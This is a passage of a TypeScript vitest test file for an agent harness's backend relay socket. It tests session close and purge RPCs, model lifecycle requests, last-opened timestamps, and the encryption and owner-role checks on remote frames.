The ultimate harness for coding agents and beyond. All your agents. All your machines. One command center. Start with code, then follow your curiosity and build across disciplines: CAD, circuits, robots, games and music.
TypeScript 3d-modelingagent-frameworkagent-harnessai-agentscadclaude-codecodexcoding-agentsdeveloper-toolsesp32game-developmentmcp-servermulti-agentopen-hardwareopencodeopenharnesspcbroboticsterminaltmux
import { USAGE_FALLBACKS } from './core/api.js'
import * as gitPullRequest from './lib/gitPullRequest.js'
import * as sessionGitPullRequest from './lib/sessionGitPullRequest.js'
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
import { existsSync, readFileSync, mkdirSync, mkdtempSync, writeFileSync, rmSync } from 'fs'
import { homedir, tmpdir } from 'os'
import { join } from 'path'
import { fileURLToPath } from 'url'
import { BackendSocket } from './backendSocket.js'
import { dispatchDown, gatewayOf, relaySocket, upstreamOf } from './testing/relaySocket.js'
import { AGENT_OPENED_THROTTLE_MS } from './core/agents/update.js'
import { deviceAgentListItem, deviceAgentRow } from './core/agents/list.js'
import { wholeHistoryPage } from './core/transcripts/history.js'
import { grokMessagesToEvents } from './engines/grok/normalizer.js'
import { bindAgentList, bindAgentUpdate, bindCancelRequest, bindLaunchRequests, bindCloseRequests, bindMessageRequest, bindPurgeRequest, bindQuestionResponse, bindStopRequest, bindTerminalRequests } from './testing/socketCore.js'
import { emptyPorts, MODELS_FALLBACKS, MODELS_OFF, MONITOR_FALLBACKS, type ModelsPort } from './core/api.js'
import { createServiceHost, ServiceUnavailableError } from './core/serviceHost.js'
import { MODELS_REQUESTS, startModels } from './services/models.js'
import { SHELL_REQUESTS, startShell } from './services/shell.js'
import { USAGE_REQUESTS, startUsage } from './services/usage.js'
import { MONITOR_REQUESTS, startMonitor, type MonitorDeps } from './services/monitor.js'
import { PROJECTS_REQUESTS, startProjects } from './services/projects.js'
import { createHarnessResourcesReader } from './lib/harnessResources.js'
import { createHarnessStorageReader } from './lib/harnessTelemetry.js'
import { fakeCore } from './testing/fakeCore.js'
import { AuthSessionError, type AuthSessionManager } from './lib/authSession.js'
import { WS_IDLE_DEADLINE_MS as IDLE_DEADLINE_MS } from './lib/wsLiveness.js'
import { TerminalStreamManager } from './lib/terminalStreamManager.js'
import type { TerminalBackendCoordinator } from './lib/terminalBackendCoordinator.js'
import { decodeTerminalLocal, TerminalBinaryKind } from './lib/terminalBinary.js'
import { registry, type RegisteredSession } from './lib/registry.js'
import { stoppedAgents } from './lib/stoppedAgents.js'
import { AgentStopError } from './lib/stopAgentService.js'
import type { PurgeAgentService } from './lib/purgeAgentService.js'
import * as mediaPreview from './lib/mediaPreview.js'
import * as gitProject from './lib/gitProject.js'
import * as scmProjects from './scm/scmProjects.js'
import * as machineResources from './lib/machineResources.js'
import * as projectFolder from './lib/projectFolder.js'
import * as projectPreview from './lib/projectPreview.js'
import * as opencodeVersion from './engines/launchControl.js'
import { randomUUID } from 'node:crypto'
import { fakeGridAnswers, installFakeGrid, type FakeGrid } from './lib/__fixtures__/fakeGrid.js'
import { clearGridMcpUrlCache } from './lib/gridMcpUrl.js'
import { LocalModels } from './lib/localModels.js'
import { STRICT_DOWN_TYPES, encryptDownFrame, encryptDownFrameFor, encryptRpcResult } from './lib/e2ee/applicationFrames.js'
import { CloseAgentService } from './lib/closeAgentService.js'
import { env } from './config/env.js'
import { supportsFirstPrompt } from './lib/engineLaunch.js'
describe('safe session close RPC', () => {
it('seals cleanup previews and passes the open-tab condition to Close', async () => {
const socket = relaySocket('fixture'), frames: any[] = []
socket.registerLocalClient('local:cleanup', { sendFrame: frame => { frames.push(frame); return true }, sendBinary: () => true })
const cleanupPreview = vi.fn(async () => ({ version: 1, agents: [], kept: 2 }))
bindCloseRequests(socket, cleanupPreview)
const request = vi.fn(async () => ({ error: 'SESSION_IN_TAB' }))
socket.closeAgentService = { request, dispose() {} } as unknown as CloseAgentService
expect(encryptDownFrame('agents_cleanup_preview')).toBe(true)
expect(encryptRpcResult('agents_cleanup_preview_result')).toBe(true)
await dispatchDown(socket, { type: 'agents_cleanup_preview', payload: { requestId: 'unsealed' } }, 'remote')
expect(cleanupPreview).not.toHaveBeenCalled()
socket.handleLocalFrame('local:cleanup', { type: 'agents_cleanup_preview', payload: { requestId: 'preview' } })
const target = { agentId: 'a', sessionId: 's', createdAt: '2026-10-01T00:00:00.000Z', mode: 'now', onlyIfHidden: true }
socket.handleLocalFrame('local:cleanup', { type: 'agent_close', payload: { ...target, requestId: 'close' } })
await vi.waitFor(() => expect(frames.some(f => f.payload?.requestId === 'close')).toBe(true))
expect(request).toHaveBeenCalledWith(target)
expect(frames.find(f => f.payload?.requestId === 'preview').payload).toMatchObject({ version: 1, kept: 2 })
await socket.stop()
})
it.each([
{ activity: 'idle', sessionId: 'close-history' },
{ activity: 'working', sessionId: 'close-history' },
{ activity: 'idle', sessionId: '' },
{ activity: 'working', sessionId: '' },
] as const)('uses $activity activity for session "$sessionId" even with another live viewer', async ({ activity, sessionId }) => {
const socket = relaySocket('fixture')
const frames: any[] = []
for (const connId of ['local:close', 'local:other']) {
socket.registerLocalClient(connId, {
sendFrame: frame => { frames.push({ connId, ...frame }); return true },
sendBinary: () => true,
})
}
const row = registry.openPendingAgent({ engine: 'codex', runtimes: [{ backend: 'tmux', paneId: '%7302' }], cwd: '/tmp' })!
row.sessionId = sessionId
const checkpoint = vi.fn(async () => {})
const stop = vi.fn(async (_agentId, options) => {
await options.checkpoint(row, 'before')
await options.beforeStop(row)
expect(options.current()).toBe(true)
registry.removeAgent(row.agentId)
})
socket.closeAgentService = new CloseAgentService({
registry, activity: async () => activity, checkpoint, stop, changed: () => {},
})
bindCloseRequests(socket)
const terminals = new TerminalStreamManager({
terminals: {
openStream: async () => ({ state: 'succeeded', value: {
runtime: { backend: 'tmux', paneId: '%7302' },
beginSnapshot: () => {},
endSnapshot: () => {},
snapshot: async () => ({ state: 'succeeded', value: { bytes: Buffer.from('fixture'), cols: 80, rows: 24 } }),
close: async () => {},
} }),
} as unknown as TerminalBackendCoordinator,
resolveAgent: id => registry.byAgent(id),
sendTarget: (connId, type, payload) => { frames.push({ connId, type, payload }); return true },
sendBinaryTarget: () => true,
streamingAvailable: true,
})
socket.setTerminalStreamManager(terminals)
try {
const opening = { agentId: row.agentId, protocolVersion: 3, cols: 80, rows: 24 }
await terminals.handleFrame('local:close', 'terminal_open', { ...opening, requestId: 'own' })
await terminals.handleFrame('local:other', 'terminal_open', { ...opening, requestId: 'other', takeover: false })
expect(frames.filter(frame => frame.type === 'terminal_ready')).toHaveLength(2)
expect(frames.find(frame => frame.payload?.requestId === 'other')?.payload.readOnly).toBe(true)
const closing = { agentId: row.agentId, sessionId: row.sessionId, createdAt: new Date(row.registeredAt).toISOString() }
const ask = async (mode: string) => {
socket.handleLocalFrame('local:close', { type: 'agent_close', payload: { ...closing, mode, requestId: mode } })
await vi.waitFor(() => expect(frames.some(frame => frame.type === 'agent_close_result' && frame.payload.requestId === mode)).toBe(true))
return frames.find(frame => frame.type === 'agent_close_result' && frame.payload.requestId === mode).payload
}
expect(await ask('inspect')).toMatchObject({ activity })
expect(await ask('idle')).toMatchObject(activity === 'idle' ? { closed: true } : { error: 'SESSION_NOT_IDLE', activity })
if (activity === 'working') {
expect(stop).not.toHaveBeenCalled()
expect(await ask('now')).toMatchObject({ closed: true })
}
expect(checkpoint).toHaveBeenCalledOnce()
expect(stop).toHaveBeenCalledOnce()
expect(registry.byAgent(row.agentId)).toBeUndefined()
} finally {
registry.removeAgent(row.agentId)
await socket.stop()
}
})
it('requires encrypted remote frames and never blocks unrelated inventory while saving', async () => {
const socket = relaySocket('fixture')
bindAgentList(socket)
const frames: any[] = []
socket.registerLocalClient('local:close', { sendFrame: frame => { frames.push(frame); return true }, sendBinary: () => true })
let finish!: (value: { closed: true }) => void
const request = vi.fn(() => new Promise<{ closed: true }>(resolve => { finish = resolve }))
socket.closeAgentService = { request, dispose() {} } as unknown as CloseAgentService
bindCloseRequests(socket)
const payload = { requestId: 'closing', agentId: 'fixture', sessionId: 'history', createdAt: '2026-09-30T12:00:00.000Z', mode: 'idle' }
expect(encryptDownFrame('agent_close')).toBe(true)
expect(encryptRpcResult('agent_close_result')).toBe(true)
await dispatchDown(socket, { type: 'agent_close', payload }, 'remote')
expect(request).not.toHaveBeenCalled()
socket.handleLocalFrame('local:close', { type: 'agent_close', payload })
socket.handleLocalFrame('local:close', { type: 'agents_list', payload: { requestId: 'inventory' } })
await vi.waitFor(() => expect(frames.some(f => f.type === 'agents_list_result')).toBe(true))
expect(frames.some(f => f.type === 'agent_close_result')).toBe(false)
finish({ closed: true })
await vi.waitFor(() => expect(frames.find(f => f.type === 'agent_close_result')?.payload).toMatchObject({ requestId: 'closing', closed: true }))
await socket.stop()
})
})
describe('reviewed permanent deletion RPCs', () => {
afterEach(() => vi.restoreAllMocks())
it('tells a relayed client whose sealed frame finds no session that its session is gone, and only then', async () => {
const socket = relaySocket('fixture')
const internals = socket as any
const sent = () => upstreamOf(socket).queue.map((item: { msg: unknown }) => item.msg)
const sealed = { type: 'message', payload: { __e2e: { v: 1, k: 'p', n: 3, ct: 'fixture' } } }
await dispatchDown(socket, sealed, 'web:gone')
expect(sent()).toContainEqual({ t: 'up', targetConnId: 'web:gone', frame: { type: 'e2e_session_unknown', payload: { refused: { type: 'message', n: 3 } } } })
// A frame that does not open on a live session is dropped without a word.
const before = sent().length
vi.spyOn(gatewayOf(socket).e2ee, 'sessionGone').mockReturnValue(null)
await dispatchDown(socket, sealed, 'web:live')
expect(sent()).toHaveLength(before)
})
it('tells a relayed client whose terminal bytes find no session that its session is gone', async () => {
const socket = relaySocket('fixture')
const internals = socket as any
const { sealTerminalBinary } = await import('./lib/e2ee/terminalSeal.js')
const raw = sealTerminalBinary(new Uint8Array(32).fill(7), 9, { kind: 1, streamId: '00112233-4455-6677-8899-aabbccddeeff', seq: 1, bytes: new TextEncoder().encode('ls\r'), compressed: false })!
const gateway = gatewayOf(socket) as any
// Opened as it arrives, outside the connection's line: told at once.
gateway.enqueueTerminalBinary('web:gone', raw)
expect(upstreamOf(socket).queue.map((item: { msg: unknown }) => item.msg)).toContainEqual({ t: 'up', targetConnId: 'web:gone', frame: { type: 'e2e_session_unknown', payload: { refused: { type: 'terminal_binary', kind: 1, n: 9 } } } })
})
it.each(['agent_purge', 'agent_worktree_delete'])('%s requires an owner, explicit identity and a review token', async type => {
const socket = relaySocket('fixture')
const internals = socket as any, frames: any[] = []
socket.registerLocalClient('local:purge', { sendFrame: frame => { frames.push(frame); return true }, sendBinary: () => true })
const request = vi.fn(async () => ({ reviewId: 'review', sessionBytes: 4096 }))
socket.purgeAgentService = { busy: () => false, request, worktreeRequest: request } as unknown as PurgeAgentService
bindPurgeRequest(socket)
const payload = { requestId: 'delete', agentId: 'selected', sessionId: 'history', createdAt: 1234, mode: 'inspect' }
expect(encryptDownFrame(type)).toBe(true)
expect(encryptRpcResult(type + '_result')).toBe(true)
await dispatchDown(socket, { type, payload }, 'remote')
expect(request).not.toHaveBeenCalled()
const role = vi.spyOn(gatewayOf(socket).e2ee, 'sessionRole').mockReturnValue('device')
vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown').mockReturnValue({ type, payload })
vi.spyOn(gatewayOf(socket).e2ee, 'wrapRpcReply').mockReturnValue({ type: type + '_result', payload: { __e2e: 'sealed' } })
const sealed = { type, payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'fixture' } } }
await dispatchDown(socket, sealed, 'remote')
expect(request).not.toHaveBeenCalled()
role.mockReturnValue('web')
await dispatchDown(socket, sealed, 'remote')
expect(request).toHaveBeenCalledOnce()
request.mockClear()
for (const invalid of [{ ...payload, sessionId: undefined }, { ...payload, createdAt: '1234' }, { ...payload, mode: 'delete' }]) {
await dispatchDown(socket, { type, payload: invalid }, 'local:purge', 'local')
}
expect(request).not.toHaveBeenCalled()
expect(frames.filter(f => f.payload.error === 'INVALID_DELETE_REQUEST')).toHaveLength(3)
await dispatchDown(socket, { type, payload: { ...payload, mode: 'delete', reviewId: 'review', path: '/reviewed', discardChanges: true } }, 'local:purge', 'local')
expect(request).toHaveBeenCalledWith(expect.objectContaining({ reviewId: 'review', path: '/reviewed', discardChanges: true }))
request.mockClear()
await dispatchDown(socket, { type, payload: { ...payload, mode: 'describe' } }, 'local:purge', 'local')
expect(request).toHaveBeenCalledTimes(type === 'agent_worktree_delete' ? 1 : 0)
request.mockClear()
await dispatchDown(socket, { type, payload: { ...payload, mode: 'delete', reviewId: 'review', choices: { sessionData: false, worktreeData: 'yes' } } }, 'local:purge', 'local')
expect(request).not.toHaveBeenCalled()
await dispatchDown(socket, { type, payload: { ...payload, includeWorktree: true, choices: { sessionData: false, worktreeData: true } } }, 'local:purge', 'local')
expect(request).toHaveBeenCalledWith(expect.objectContaining({ includeWorktree: true, choices: { sessionData: false, worktreeData: true } }))
await socket.stop()
})
})
describe('local model lifecycle RPCs', () => {
afterEach(() => vi.restoreAllMocks())
it('a slow catalog never blocks terminal or agent inventory, and errors stay redacted', async () => {
const socket = relaySocket('fixture')
bindAgentList(socket)
socket.setHarnessGridName('home')
serveModels(socket)
const frames: any[] = []
socket.registerLocalClient('local:models', { sendFrame: frame => { frames.push(frame); return true }, sendBinary: () => true })
let reject!: (cause: Error) => void
vi.spyOn(LocalModels.prototype, 'list').mockReturnValue(new Promise((_resolve, fail) => { reject = fail }))
socket.handleLocalFrame('local:models', { type: 'grid_fleet_models_list', payload: { requestId: 'catalog' } })
socket.handleLocalFrame('local:models', { type: 'agents_list', payload: { requestId: 'agents' } })
await vi.waitFor(() => expect(frames.some(frame => frame.type === 'agents_list_result')).toBe(true))
expect(frames.some(frame => frame.type === 'grid_fleet_models_list_result')).toBe(false)
reject(new Error('private-token'))
await vi.waitFor(() => expect(frames.some(frame => frame.type === 'grid_fleet_models_list_result')).toBe(true))
expect(frames.find(frame => frame.type === 'grid_fleet_models_list_result').payload).toMatchObject({ requestId: 'catalog', error: 'Models are unavailable. Try again.' })
expect(JSON.stringify(frames)).not.toContain('private-token')
await socket.stop()
})
it('rejects unencrypted remote lifecycle requests before reaching the model service', async () => {
const socket = relaySocket('fixture')
const models = serveModels(socket)
const routed = vi.spyOn(models, 'route')
const act = vi.spyOn(LocalModels.prototype, 'act')
for (const type of ['grid_fleet_model_download', 'grid_fleet_model_start', 'grid_fleet_model_stop']) {
await dispatchDown(socket, { type, payload: { requestId: 'unsafe', modelId: 'fixture/model' } }, 'remote')
}
expect(routed).not.toHaveBeenCalled()
expect(act).not.toHaveBeenCalled()
await socket.stop()
})
})
describe('confirmed harness pause replies', () => {
it.each(['unsupported', 'unconfirmed', 'confirmed'] as const)('%s stop never sends a false success', async state => {
const socket = relaySocket('fixture')
const frames: any[] = []
socket.registerLocalClient('local:pause', { sendFrame: frame => { frames.push(frame); return true }, sendBinary: () => true })
if (state !== 'unsupported') bindStopRequest(socket, async () => {
if (state === 'unconfirmed') throw new AgentStopError('The process could not be verified.')
})
await dispatchDown(socket, { type: 'agent_delete', payload: { requestId: 'pause', agentId: 'fixture' } }, 'local:pause')
const reply = frames.find(frame => frame.type === 'agent_delete_result')?.payload
expect(reply).toMatchObject(state === 'confirmed' ? { deleted: true } : {
error: state === 'unsupported' ? 'UNSUPPORTED' : 'STOP_UNCONFIRMED',
})
if (state !== 'confirmed') expect(reply.deleted).toBeUndefined()
if (state === 'unconfirmed') expect(reply.detail).toBe('The process could not be verified.')
await socket.stop()
})
})
/**
* `agent_update {opened: true}` — an app opened this agent, so the daemon that owns it stamps
* `lastOpenedAt` on its own clock and tells every app, which then all sort by the same "last used".
*/
describe('agent_update opened: one "last used" for every app', () => {
const OPENED = Date.UTC(2026, 8, 26, 9, 30)
const iso = (ms: number) => new Date(ms).toISOString()
let socket: BackendSocket
let frames: any[]
let agentId = ''
beforeEach(() => {
vi.restoreAllMocks()
// Only the clock: the dispatch queue and vi.waitFor still run on real timers.
vi.useFakeTimers({ toFake: ['Date'] })
vi.setSystemTime(OPENED)
socket = relaySocket('fixture')
bindAgentUpdate(socket)
frames = []
socket.registerLocalClient('local:opened', { sendFrame: frame => { frames.push(frame); return true }, sendBinary: () => true })
agentId = registry.openPendingAgent({ engine: 'claude', runtimes: [{ backend: 'tmux', paneId: '%7301' }], cwd: '/tmp/opened' })!.agentId
})
afterEach(async () => {
registry.removeAgent(agentId)
vi.useRealTimers()
vi.restoreAllMocks()
await socket.stop()
})
const replyTo = (requestId: string) => frames.find(frame => frame.type === 'agent_update_result' && frame.payload.requestId === requestId)?.payload
/** What `handleLocalFrame` queues for a window on this computer, awaited so the clock stays put. */
async function update(payload: Record<string, unknown>, requestId: string): Promise<any> {
await dispatchDown(socket, { type: 'agent_update', payload: { requestId, ...payload } }, 'local:opened', 'local')
return replyTo(requestId)
}
const pushes = () => frames.filter(frame => frame.type === 'agent_synced')
it('arrives through the desktop window’s own door (localWsServer → handleLocalFrame)', async () => {
socket.handleLocalFrame('local:opened', { type: 'agent_update', payload: { requestId: 'door', agentId, opened: true } })
await vi.waitFor(() => expect(replyTo('door')).toBeTruthy())
// vi.waitFor moves a faked clock while it polls, so the stamp is read back rather than predicted.
const stamped = registry.byAgent(agentId)?.lastOpenedAt
expect(stamped).toBeGreaterThanOrEqual(OPENED)
expect(replyTo('door').agent.lastOpenedAt).toBe(iso(stamped!))
expect(pushes()).toHaveLength(1)
})
it('stamps the owner’s clock, answers with the frame, and pushes it to every app but the dial', async () => {
const commander = vi.spyOn(socket, 'sendCommander')
// A time from the client is never taken: two apps whose clocks disagree would order the list differently.
const reply = await update({ agentId, opened: true, lastOpenedAt: '2001-01-01T00:00:00.000Z', at: 1 }, 'open-1')
expect(reply.error).toBeUndefined()
expect(reply.agent).toMatchObject({ id: agentId, lastOpenedAt: iso(OPENED) })
expect(registry.byAgent(agentId)?.lastOpenedAt).toBe(OPENED)
expect(pushes()).toHaveLength(1)
expect(pushes()[0].payload.agent).toEqual(reply.agent)
expect(commander).not.toHaveBeenCalled()
})
it('answers a repeat inside the throttle with the current frame, and stamps and tells no one', async () => {
await update({ agentId, opened: true }, 'open-1')
vi.setSystemTime(OPENED + AGENT_OPENED_THROTTLE_MS - 1)
const repeat = await update({ agentId, opened: true }, 'open-2')
expect(repeat.agent).toMatchObject({ id: agentId, lastOpenedAt: iso(OPENED) })
expect(registry.byAgent(agentId)?.lastOpenedAt).toBe(OPENED)
expect(pushes()).toHaveLength(1)
vi.setSystemTime(OPENED + AGENT_OPENED_THROTTLE_MS)
const later = await update({ agentId, opened: true }, 'open-3')
expect(later.agent.lastOpenedAt).toBe(iso(OPENED + AGENT_OPENED_THROTTLE_MS))
expect(pushes()).toHaveLength(2)
expect(pushes()[1].payload.agent.lastOpenedAt).toBe(iso(OPENED + AGENT_OPENED_THROTTLE_MS))
})
it('still answers MISSING_UPDATE for a request that asks for nothing, and stamps nothing', async () => {
expect(await update({ agentId }, 'empty')).toMatchObject({ error: 'MISSING_UPDATE' })
expect(await update({ agentId, opened: false }, 'not-opened')).toMatchObject({ error: 'MISSING_UPDATE' })
expect(await update({ agentId, opened: 'yes' }, 'truthy')).toMatchObject({ error: 'MISSING_UPDATE' })
expect(await update({ opened: true }, 'no-agent')).toMatchObject({ error: 'MISSING_AGENT_ID' })
expect(await update({ agentId: 'nobody', opened: true }, 'unknown')).toMatchObject({ error: 'AGENT_NOT_FOUND' })
expect(registry.byAgent(agentId)?.lastOpenedAt).toBeUndefined()
expect(pushes()).toHaveLength(0)
})
it('stamps but does not push an agent whose terminal this daemon cannot see', async () => {
// Such a row is not in agents_list; a push would put it back on every screen (cli.ts syncSession).
registry.setTerminalAvailable(agentId, false)
const reply = await update({ agentId, opened: true }, 'hidden')
expect(reply.agent.lastOpenedAt).toBe(iso(OPENED))
expect(pushes()).toHaveLength(0)
})
it('takes the open from a sealed remote session too — the phone, or another computer’s desktop via its relay', async () => {
const internals = socket as any
const clear = { type: 'agent_update', payload: { requestId: 'remote-1', agentId, opened: true } }
vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown').mockReturnValue(clear)
vi.spyOn(gatewayOf(socket).e2ee, 'hasSession').mockReturnValue(true)
const sealedReply = vi.spyOn(gatewayOf(socket).e2ee, 'wrapRpcReply').mockReturnValue({ type: 'agent_update_result', payload: { __e2e: 'sealed' } })
await dispatchDown(socket, { type: 'agent_update', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'fixture' } } }, 'remote-conn')
expect(sealedReply).toHaveBeenCalledWith('remote-conn', 'agent_update_result', 'remote-1',
expect.objectContaining({ agent: expect.objectContaining({ id: agentId, lastOpenedAt: iso(OPENED) }) }))
// ...and this computer's own window hears the new order like everyone else.
expect(pushes()).toHaveLength(1)
})
it('refuses an unsealed remote open like any other agent_update', async () => {
await dispatchDown(socket, { type: 'agent_update', payload: { requestId: 'plain', agentId, opened: true } }, 'remote-conn')
expect(registry.byAgent(agentId)?.lastOpenedAt).toBeUndefined()
expect(pushes()).toHaveLength(0)
})
})
describe('viewer forwarding authentication', () => {
it('routes a sealed service request with its connection, who asked, and nothing in the clear', async () => {
const socket = relaySocket('token')
const routed: Array<{ type: string; asker: unknown }> = []
socket.serviceRouter = (type, _payload, asker, reply) => { routed.push({ type, asker }); reply({ memories: [] }); return true }
const ownerCommands = vi.spyOn(socket.ownerCommands, 'request')
vi.spyOn(gatewayOf(socket).e2ee, 'hasSession').mockReturnValue(true)
const role = vi.spyOn(gatewayOf(socket).e2ee, 'sessionRole').mockReturnValue('web')
const clear = { type: 'memory_snapshot', payload: { requestId: 'one' } }
vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown').mockReturnValue(clear)
const sealedReply = vi.spyOn(gatewayOf(socket).e2ee, 'wrapRpcReply').mockReturnValue({ type: 'memory_snapshot_result', payload: { __e2e: 'sealed' } })
await dispatchDown(socket, clear, 'remote')
expect(routed).toEqual([])
const sealed = { type: 'memory_snapshot', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'fixture' } } }
// A device's session asks as no owner: the service refuses it (services/memory.ts).
role.mockReturnValue('device')
await dispatchDown(socket, sealed, 'remote')
role.mockReturnValue('web')
await dispatchDown(socket, sealed, 'remote')
expect(routed).toEqual([
{ type: 'memory_snapshot', asker: { local: false, owner: false, accountOwner: false, connection: 'remote', requestId: 'one' } },
{ type: 'memory_snapshot', asker: { local: false, owner: true, accountOwner: false, connection: 'remote', requestId: 'one' } },
])
expect(ownerCommands).not.toHaveBeenCalled()
expect(sealedReply).toHaveBeenCalledWith('remote', 'memory_snapshot_result', 'one', { memories: [] })
await socket.stop()
})
it.each(['route_task', 'route_send'])('requires a sealed owner session for %s', async type => {
const socket = relaySocket('token'), internals = socket as any
const request = vi.spyOn(socket.ownerCommands, 'request').mockResolvedValue({ ok: true })
vi.spyOn(gatewayOf(socket).e2ee, 'hasSession').mockReturnValue(true)
const role = vi.spyOn(gatewayOf(socket).e2ee, 'sessionRole').mockReturnValue('web')
const clear = { type, payload: { requestId: 'one', text: 'fixture task' } }
vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown').mockReturnValue(clear)
const sealedReply = vi.spyOn(gatewayOf(socket).e2ee, 'wrapRpcReply').mockReturnValue({ type: `${type}_result`, payload: { __e2e: 'sealed' } })
await dispatchDown(socket, clear, 'remote')
expect(request).not.toHaveBeenCalled()
const sealed = { type, payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'fixture' } } }
role.mockReturnValue('device')
await dispatchDown(socket, sealed, 'remote')
expect(request).not.toHaveBeenCalled()
role.mockReturnValue('web')
await dispatchDown(socket, sealed, 'remote')
expect(request).toHaveBeenCalledWith('remote', type, clear.payload)
expect(sealedReply).toHaveBeenCalledWith('remote', `${type}_result`, 'one', { ok: true })
await socket.stop()
})
it('allows interactive viewers only on a sealed owner web connection or trusted loopback', async () => {
const socket = relaySocket('token')
const internals = socket as any
const request = vi.fn(async () => ({ data: 'jpeg' }))
socket.viewerStreams = { frame: vi.fn(), surface: request, closed: vi.fn(), closedAll: vi.fn() }
vi.spyOn(gatewayOf(socket).e2ee, 'hasSession').mockReturnValue(true)
const role = vi.spyOn(gatewayOf(socket).e2ee, 'sessionRole').mockReturnValue('web')
const clear = { type: 'viewer_surface', payload: { requestId: 'one', surfaceId: 'surface', agentId: 'a', op: 'frame' } }
vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown').mockReturnValue(clear)
const reply = vi.spyOn(gatewayOf(socket).e2ee, 'wrapRpcReply').mockReturnValue({ type: 'viewer_surface_result', payload: { __e2e: 'sealed' } })
await dispatchDown(socket, clear, 'remote')
expect(request).not.toHaveBeenCalled()
const sealed = { type: 'viewer_surface', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'fixture' } } }
role.mockReturnValue('device')
await dispatchDown(socket, sealed, 'remote')
expect(request).not.toHaveBeenCalled()
role.mockReturnValue('web')
await dispatchDown(socket, sealed, 'remote')
expect(request).toHaveBeenCalledWith('remote', clear.payload)
expect(reply).toHaveBeenCalledWith('remote', 'viewer_surface_result', 'one', { data: 'jpeg' })
socket.registerLocalClient('local:viewer', { sendFrame: () => true, sendBinary: () => true })
await dispatchDown(socket, clear, 'local:viewer')
expect(request).toHaveBeenCalledWith('local:viewer', clear.payload)
// With nothing to render it, the surface is answered unavailable rather than left unanswered.
const local = vi.fn(() => true)
socket.registerLocalClient('local:none', { sendFrame: local, sendBinary: () => true })
socket.viewerStreams = null
await dispatchDown(socket, { ...clear, payload: { ...clear.payload, requestId: 'two' } }, 'local:none')
await vi.waitFor(() => expect(local).toHaveBeenCalledWith({ type: 'viewer_surface_result', payload: { requestId: 'two', error: 'VIEWER_UNAVAILABLE' } }))
await socket.unregisterLocalClient('local:viewer')
await socket.stop()
})
it('hands a viewer stream\'s answers to the one connection that opened it, and ends its streams as connections go', async () => {
const socket = relaySocket('token')
const streams = { frame: vi.fn(), surface: vi.fn(), closed: vi.fn(), closedAll: vi.fn() }
socket.viewerStreams = streams
const local = vi.fn(() => true)
socket.registerLocalClient('local:viewer', { sendFrame: local, sendBinary: () => true })
expect(socket.sendViewerFrame('local:viewer', 'viewer_response', { streamId: 's1', status: 200 })).toBe(true)
expect(local).toHaveBeenCalledWith({ type: 'viewer_response', payload: { streamId: 's1', status: 200 } })
// A remote connection's go through the gateway, which says whether it could take them.
const target = vi.spyOn(gatewayOf(socket), 'target').mockReturnValue(false)
expect(socket.sendViewerFrame('remote', 'viewer_data', { streamId: 's1', data: 'AA==' })).toBe(false)
expect(target).toHaveBeenCalledWith('remote', 'viewer_data', { streamId: 's1', data: 'AA==' })
await socket.unregisterLocalClient('local:viewer')
expect(streams.closed).toHaveBeenCalledWith('local:viewer')
socket.fromGateway.client('r1', { role: 'web', label: null, identity: 'PUB', direct: false })
socket.fromGateway.client('r1', null)
expect(streams.closed).toHaveBeenCalledWith('r1')
await socket.fromGateway.disconnected('r2')
expect(streams.closed).toHaveBeenCalledWith('r2')
socket.fromGateway.linkDown()
expect(streams.closedAll).toHaveBeenCalledTimes(1)
await socket.stop()
expect(streams.closedAll).toHaveBeenCalledTimes(2)
})
it('requires encryption and a web-role session remotely, while permitting trusted local clients', async () => {
const socket = relaySocket('token')
const internals = socket as any
const handle = vi.fn()
socket.viewerStreams = { frame: handle, surface: vi.fn(), closed: vi.fn(), closedAll: vi.fn() }
const role = vi.spyOn(gatewayOf(socket).e2ee, 'sessionRole').mockReturnValue('web')
const frame = { type: 'viewer_request', payload: { streamId: 'v', agentId: 'a' } }
const unwrap = vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown').mockReturnValue(frame)
await dispatchDown(socket, frame, 'remote')
expect(unwrap).not.toHaveBeenCalled()
expect(handle).not.toHaveBeenCalled()
const encrypted = { type: 'viewer_request', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'fixture' } } }
role.mockReturnValue('device')
await dispatchDown(socket, encrypted, 'remote')
expect(handle).not.toHaveBeenCalled()
role.mockReturnValue('web')
await dispatchDown(socket, encrypted, 'remote')
expect(handle).toHaveBeenCalledWith('remote', 'viewer_request', frame.payload)
socket.registerLocalClient('local:viewer', { sendFrame: () => true, sendBinary: () => true })
await dispatchDown(socket, frame, 'local:viewer')
expect(handle).toHaveBeenCalledWith('local:viewer', 'viewer_request', frame.payload)
handle.mockClear()
await dispatchDown(socket, { type: 'viewer_arbitrary', payload: {} }, 'local:viewer')
expect(handle).not.toHaveBeenCalled()
await socket.unregisterLocalClient('local:viewer')
await socket.stop()
})
})
const wsMock = vi.hoisted(() => {
const instances: MockWebSocket[] = []
class MockWebSocket {
static CONNECTING = 0
static OPEN = 1
static CLOSED = 3
readyState = MockWebSocket.CONNECTING
sent: string[] = []
failNextSend: Error | null = null
/** Peer stopped answering pings (a half-open TCP link, a laptop coming back from sleep). */
silent = false
pings = 0
private handlers = new Map<string, Array<(...args: unknown[]) => void>>()
constructor(readonly url: string, readonly protocols: string[], readonly options?: { handshakeTimeout?: number }) {
instances.push(this)
}
on(event: string, cb: (...args: unknown[]) => void): this {
const list = this.handlers.get(event) ?? []
list.push(cb)
this.handlers.set(event, list)
return this
}
once(event: string, cb: (...args: unknown[]) => void): this {
const wrapped = (...args: unknown[]): void => {
const list = this.handlers.get(event) ?? []
this.handlers.set(event, list.filter((fn) => fn !== wrapped))
cb(...args)
}
return this.on(event, wrapped)
}
private emit(event: string, ...args: unknown[]): void {
for (const cb of this.handlers.get(event) ?? []) cb(...args)
}
open(): void {
this.readyState = MockWebSocket.OPEN
this.emit('open')
}
message(value: unknown): void {
this.emit('message', Buffer.from(JSON.stringify(value)))
}
send(data: string, cb?: (err?: Error) => void): void {
if (this.failNextSend) {
const err = this.failNextSend
this.failNextSend = null
cb?.(err)
return
}
